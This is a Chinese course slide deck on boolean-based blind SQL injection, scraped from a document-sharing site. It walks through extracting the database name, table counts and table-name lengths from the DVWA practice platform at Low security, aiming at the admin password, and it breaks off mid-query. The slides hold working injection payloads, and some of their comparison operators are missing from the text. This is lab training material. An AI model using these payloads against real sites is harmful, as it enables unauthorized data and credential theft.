- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
SQL盲注第7章Web应用安全目标Objectives要求了解SQL盲注的基本方法;掌握在DVWA平台上进行SQL盲注的方法;SQL盲注一、SQL盲注SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要
SQL盲注
第7章
Web应用安全
目标
Objectives
要求
了解SQL盲注的基本方法;
掌握在DVWA平台上进行SQL盲注的方法;
SQL盲注
一、SQL盲注
SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注
SQL盲注
二、SQL盲注(布尔盲注)
知识点任务
通过SQL布尔盲注的方法获取admin的密码
1、检查是否存在注入点
2、猜解数据库名的长度
3、获取数据库名称
4、猜解数据表的长度
5、获取数据表名
6、猜解数据库字段的长度
7、获取字段名
8、获取字段数据
SQL盲注
二、SQL盲注(布尔盲注)
1、进入DVWA平台,选择DVWA Security,将安全级别设置为Low。
2、选择SQL Injection(Blind),进入如下页面。
SQL盲注
二、SQL盲注(布尔盲注)
3、使用参数1‘ and 1=1 #进行提交,页面显示存在。使用参数1’ and 1=2 #进行提交,页面显示不存在。
说明存在布尔盲注的注入点,我们可以通过SQL语句返回结果的真假来进行注入攻击。
SQL盲注
二、SQL盲注(布尔盲注)
4、猜解数据库名的长度
函数length()——获取字符串的长度
1’ and length(database())=1 # //显示不存在
1’ and length(database())=2 # //显示不存在
1’ and length(database())=3 # //显示不存在
1’ and length(database())=4 # //显示存在
说明数据库名的长度为4个字符。
SQL盲注
二、SQL盲注(布尔盲注)
5、使用二分法猜解数据库名字符的ASCII码
函数substr()——提取指定起点的指定长度字符串
小写字母a-z的ASCII码值范围97-122
大写字母A-Z的ASCII码值范围65-90
数字0-9的ASCII码值范围48-57
1’and ascii(substr(database(),1,1))100 # //显示不存在
1’and ascii(substr(database(),1,1))100 # //显示不存在,说明第一个字符=100,就是字母d
1’ and ascii(substr(database(),2,1))118 # //显示不存在
1’ and ascii(substr(database(),2,1))118 # //显示不存在,说明第二个字符=118,就是字母v
多次反复尝试,最终获取数据库名为:dvwa
SQL盲注
二、SQL盲注(布尔盲注)
6、猜解dvwa数据库中数据表的数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # //显示不存在
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2 # //显示存在
数据表的数量是2个
SQL盲注
二、SQL盲注(布尔盲注)
7、猜解数据表名的字符长度
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # //显示存在
说明第一个数据表名的字符长度为9
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # //显示存在
说明第二个数据表名的字符长度为5
SQL盲注
二、SQL盲注(布尔盲注)
8、 猜解数据表的名称
1 and ascii(substr((select table_name from information_schema.tables wher
您可能关注的文档
- 网络安全职业道德.pptx
- 木马的防御与清除.pptx
- 网络安全法律法规.pptx
- 网络安全原理与应用:入侵防御系统.pptx
- 计算机病毒发展趋势.pptx
- 拒绝服务攻击与防范.pptx
- 网络安全产品简介.pptx
- 跨站请求伪造CSRF简介.pptx
- 非对称加密算法.pptx
- 计算机病毒分类.pptx
- 浙江省温州市浙南名校联盟2025-2026学年高一上学期期中联考数学试题含解析.docx
- 26高考数学提分秘诀重难点34圆锥曲线中的定点、定值、定直线问题(举一反三专项训练)(全国通用)(含解析).docx
- 26高考数学提分秘诀重难点35概率与统计的综合问题(举一反三专项训练)(全国通用)(含解析).docx
- 26高考数学提分秘诀重难点31圆锥曲线中的切线与切点弦问题(举一反三专项训练)(全国通用)(含解析).docx
- 26高考数学提分秘诀重难点30圆锥曲线中的弦长问题与长度和、差、商、积问题(举一反三专项训练)(全国通用)(含解析).docx
- 26高考数学提分秘诀重难点29巧解圆锥曲线的离心率问题(举一反三专项训练)(全国通用)(含解析).docx
- 26高考数学提分秘诀重难点28直线与圆的综合(举一反三专项训练)(全国通用)(含解析).docx
- 寡核苷酸药物重复给药毒性研究技术指南.docx
- 重组溶瘤腺病毒生产质量管理标准.docx
- 26高考数学提分秘诀重难点27直线与圆中常考的最值与范围问题(举一反三专项训练)(全国通用)(含解析).docx
最近下载
- 电气工程和自动化专业大学生生涯发展展示(电气工程工程师).pptx VIP
- 小儿腹股沟疝PPT课件.pptx VIP
- 锡球焊接供球结构及锡球焊接装置.pdf VIP
- 自考制单结汇与报关实务复习资料.doc VIP
- 半导体设备行业深度:AI芯片快速发展,看好国产算力带动后道测试%26先进封装设备需求-250921.pdf VIP
- 中信建投-医药生物行业-寻找新增量及整合机会-241211-136页.pdf VIP
- 高校网球运动的发展现状与对策.docx VIP
- power up 1 小学英语单词表.pdf VIP
- 石油产品运动粘度测量不确定度的评估实例.pdf VIP
- “三高”共管规范化诊疗中国专家共识(2024版)解读.pptx VIP
原创力文档


文档评论(0)